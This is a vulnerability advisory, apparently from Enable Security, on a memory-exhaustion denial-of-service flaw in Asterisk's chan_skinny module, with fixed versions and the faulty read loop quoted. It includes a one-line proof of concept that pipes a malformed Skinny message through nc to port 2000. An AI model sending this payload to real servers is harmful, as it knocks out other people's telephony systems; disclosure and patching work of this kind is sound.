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Asterisk Skinny memory exhaustion vulnerability leads to DoS


Sending one malformed Skinny message to port 2000 will exhaust Asterisk's memory resulting in a crash.


Abuse of this issue allows attackers to crash Asterisk when Skinny is exposed to attackers.

How to reproduce the issue

Start Asterisk and make sure the chan_skinny module is loaded. Then execute:

printf "\x38\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x53\x45\x50\x30\x30\x30\x39" | nc localhost 2000

After a few seconds Asterisk will crash since it will be using all of the available memory. Different malformed strings will crash the server faster or slower depending on the amount by which req->data is extended.

The malformed message will throw the following errors in Asterisk:

[Apr  6 09:35:26] WARNING[6893]: chan_skinny.c:7587 skinny_session: Partial data received, waiting (35 bytes read of 52)

while it will loop forever. This is due to the following code:

while (1) {	
	if ((res = read(s->fd, ((char*)&req->data)+bytesread, dlen-bytesread)) < 0) {
		ast_log(LOG_WARNING, "Data read() returned error: %s\n", strerror(errno));
	bytesread += res;
	if (bytesread >= dlen) {
		if (res < bytesread) {
			ast_log(LOG_WARNING, "Rest of partial data received.\n");
		if (bytesread > dlen) {
			ast_log(LOG_WARNING, "Client sent wrong amount of data (%d), expected (%d).\n", bytesread, dlen);
			res = -1;

	ast_log(LOG_WARNING, "Partial data received, waiting (%d bytes read of %d)\n", bytesread, dlen);
	if (sched_yield() < 0) {
		ast_log(LOG_WARNING, "Data yield() returned error: %s\n", strerror(errno));
		res = -1;

The reason appears to be that res always returns 0 so bytesread will not grow and the loop never breaks. However req->data will continue to expand until all the memory is exhausted.

This issue was found through basic manual testing, before attempting to start fuzzing chan_skinny.

Memory usage while Asterisk receives a malformed skinny message

Solutions and recommendations

Apply fix issued by Asterisk, upgrade to Asterisk 13.15.1, 14.4.1 or 13.13-cert4. Enable Security highly recommends disabling this module.

About Enable Security

Enable Security provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers.


The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.